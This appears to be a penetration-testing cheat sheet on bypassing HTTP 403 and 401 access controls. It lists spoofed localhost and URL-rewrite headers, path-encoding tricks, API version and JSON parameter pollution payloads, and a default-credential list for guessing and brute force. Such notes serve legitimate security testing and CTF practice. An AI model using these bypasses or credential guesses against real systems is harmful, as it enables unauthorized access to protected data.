403 & 401 Bypasses

HTTP Verbs/Methods Fuzzing

Try using different verbs to access the file: GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK

Check the response headers, maybe some information can be given. For example, a 200 response to HEAD with Content-Length: 55 means that the HEAD verb can access the info. But you still need to find a way to exfiltrate that info.
Using a HTTP header like X-HTTP-Method-Override: PUT can overwrite the verb used.
Use TRACE verb and if you are very lucky maybe in the response you can see also the headers added by intermediate proxies that might be useful.

Change Host header to some arbitrary value (that worked here)
Try to use other User Agents to access the resource.
Fuzz HTTP Headers: Try using HTTP Proxy Headers, HTTP Authentication Basic and NTLM brute-force (with a few combinations only) and other techniques. To do all of this I have created the tool fuzzhttpbypass.
- X-Originating-IP: 127.0.0.1
- X-Forwarded-For: 127.0.0.1
- X-Forwarded: 127.0.0.1
- Forwarded-For: 127.0.0.1
- X-Remote-IP: 127.0.0.1
- X-Remote-Addr: 127.0.0.1
- X-ProxyUser-Ip: 127.0.0.1
- X-Original-URL: 127.0.0.1
- Client-IP: 127.0.0.1
- True-Client-IP: 127.0.0.1
- Cluster-Client-IP: 127.0.0.1
- X-ProxyUser-Ip: 127.0.0.1
- Host: localhost
If the path is protected you can try to bypass the path protection using these other headers:
- X-Original-URL: /admin/console
- X-Rewrite-URL: /admin/console
If the page is behind a proxy, maybe it's the proxy the one preventing you you to access the private information. Try abusing HTTP Request Smuggling or hop-by-hop headers.
Fuzz special HTTP headers looking for different response.
- Fuzz special HTTP headers while fuzzing HTTP Methods.

If /path is blocked:

Try using /%2e/path (if the access is blocked by a proxy, this could bypass the protection). Try also /%252e/path (double URL encode)
Try Unicode bypass: /%ef%bc%8fpath (The URL encoded chars are like "/") so when encoded back it will be //path and maybe you will have already bypassed the /path name check
Other path bypasses:
- site.com/secret –> HTTP 403 Forbidden
- site.com/SECRET –> HTTP 200 OK
- site.com/secret/ –> HTTP 200 OK
- site.com/secret/. –> HTTP 200 OK
- site.com//secret// –> HTTP 200 OK
- site.com/./secret/.. –> HTTP 200 OK
- site.com/;/secret –> HTTP 200 OK
- site.com/.;/secret –> HTTP 200 OK
- site.com//;//secret –> HTTP 200 OK
- site.com/secret.json –> HTTP 200 OK (ruby)
- Use all this list in the following situations:
  - /FUZZsecret
  - /FUZZ/secret
  - /secretFUZZ
Other API bypasses:
- /v3/users_data/1234 --> 403 Forbidden
- /v1/users_data/1234 --> 200 OK
- {“id”:111} --> 401 Unauthriozied
- {“id”:[111]} --> 200 OK
- {“id”:111} --> 401 Unauthriozied
- {“id”:{“id”:111}} --> 200 OK
- {"user_id":"<legit_id>","user_id":"<victims_id>"} (JSON Parameter Pollution)
- user_id=ATTACKER_ID&user_id=VICTIM_ID (Parameter Pollution)

Try to stress the server sending common GET requests (It worked for this guy wit Facebook).
Change the protocol: from http to https, or for https to http
Go to https://archive.org/web/ and check if in the past that file was worldwide accessible.

Guess the password: Test the following common credentials. Do you know something about the victim? Or the CTF challenge name?

Brute force: Try basic, digest and NTLM auth.

{% code title="Common creds" %}

admin    admin
admin    password
admin    1234
admin    admin1234
admin    123456
root     toor
test     test
guest    guest

{% endcode %}